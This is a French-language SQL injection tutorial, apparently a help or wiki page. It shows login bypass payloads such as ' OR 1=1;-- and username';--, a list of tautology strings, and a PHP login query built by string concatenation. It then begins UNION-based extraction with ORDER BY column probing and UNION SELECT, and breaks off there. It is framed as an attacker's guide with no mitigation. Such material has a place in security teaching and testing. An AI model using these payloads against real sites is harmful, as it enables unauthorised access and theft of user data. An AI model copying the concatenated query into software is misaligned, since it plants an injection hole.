Injection SQL
Connexion sans identifiant et sans mot de passe
On tape dans l'identifiant :
' OR 1=1 ;--
Et on n'oublie pas de mettre un mot de passe aléatoire, au cas ou le systÚme vérifie si un mot de passe est rentré.
Si une erreur est affiché comme 'SQL error', alors il y a une faille dans la gestion du formulaire. Dans cas on va pouvoir l'exploiter pour en tirer d'autres infos. Si aucune sécurité n'est mise en place, la connexion se fera sur le premier utilisateur de la base de données.
Connexion avec seulement l'identifiant
1. Par le nom d'utilisateur
Dans un premier temps, on peut s'attaquer au nom d'utilisateur. Prenons par exemple, une requĂȘte de connexion au serveur de ce type :
select * from user_table
where username = 'anto'
and password = 'mystrongpassword';
En supposant que le mot de passe ne soit pas hachĂ©, la requĂȘte PHP ressemblerait Ă ceci :
// Connexion Ă la database
$db_query = "select * from user_table where
username = '".$user."'
AND password = '".$password."';";
// Execution de la requĂȘte
Ainsi, en entrant dans la section du nom d'utilisateur « antoâ;-- » la requĂȘte SQL devient :
select * from user_table where
username = 'anto';-- and password = ''
Or, le double tiret permet de commenter du code en SQL, ce qui revient donc Ă contourner le mot de passe, et Ă pouvoir se connecter en ayant uniquement besoin du nom d'utilisateur.
2. Par le mot de passe, par attaque booléenne
Une deuxiĂšme possibilitĂ© Ă tester, est l'injection SQL boolĂ©enne. Par exemple, en ayant une requĂȘte SQL de ce type :
select * from user_table where
username = 'anto' and
password = 'password';
On peut trĂšs bien contourner le mot de passe, en entrant dans la section du mot de passe la commande « 'or 1=1;-- » qui transforme la requĂȘte comme ceci :
select * from user_table where
username = 'anto' and
password = '' or 1=1;--;
Et qui de ce fait, rend totalement inutile la condition password='anto' vu que la condition 1=1 sera toujours vraie.
Il existe une infinité de conditions triviales, par exemple :
'='
'OR 1=1
'OR a=a
'OR'
'OR''='
'OR"="
'OR'="
'OR '="
'OR "='
'OR ''='
'OR '=''
'OR "=''
'OR ''="
Malheureusement pour nous, ces genres de vulnĂ©rabilitĂ©s sont extrĂȘmement rares, mais valent le coup d'ĂȘtre essayĂ©s.
Méthode UNION
Une fois une vulnérabilité trouvée, on peut l'exploiter.
Prenons le cas d'un script vulnĂ©rable de recherche d'article Ă partir d'un mot dans le titre, ce script affiche la liste des articles trouvĂ©s et des liens vers ceux-ci. Notre objectif est d'utiliser cette requĂȘte pour afficher le contenu d'autres tables.
$sql="SELECT * FROM article WHERE title LIKE '%" . $title . "%'";
ProblÚme, la structure de la table article nous est inconnue, nous ne connaissons pas ses différents champs; or pour réussir à afficher des informations d'autres tables, plusieurs challenges se posent à nous :
Trouver le nombre et le type de chaque colonne retournĂ©e par la requĂȘte
Trouver le nom d'une colonne et d'une table comportant des choses intéressantes (Login, Password, etc.)
Utiliser une union pour récupérer les informations
Trier par numĂ©ro de colonne permet de tester si cette colonne existe. Si la requĂȘte retourne 5 colonnes ou plus, la requĂȘte suivante va fonctionner :
SELECT * FROM article WHERE title LIKE '%sql-injection%' ORDER BY 5--'
Une fois identifié le nombre de colonnes, réalisons une premiÚre UNION :
SELECT * FROM article WHERE title LIKE '%sql-injection%' UNION SELECT 1,2,3,4,5--'
Mis Ă jour
Ce contenu vous a-t-il été utile�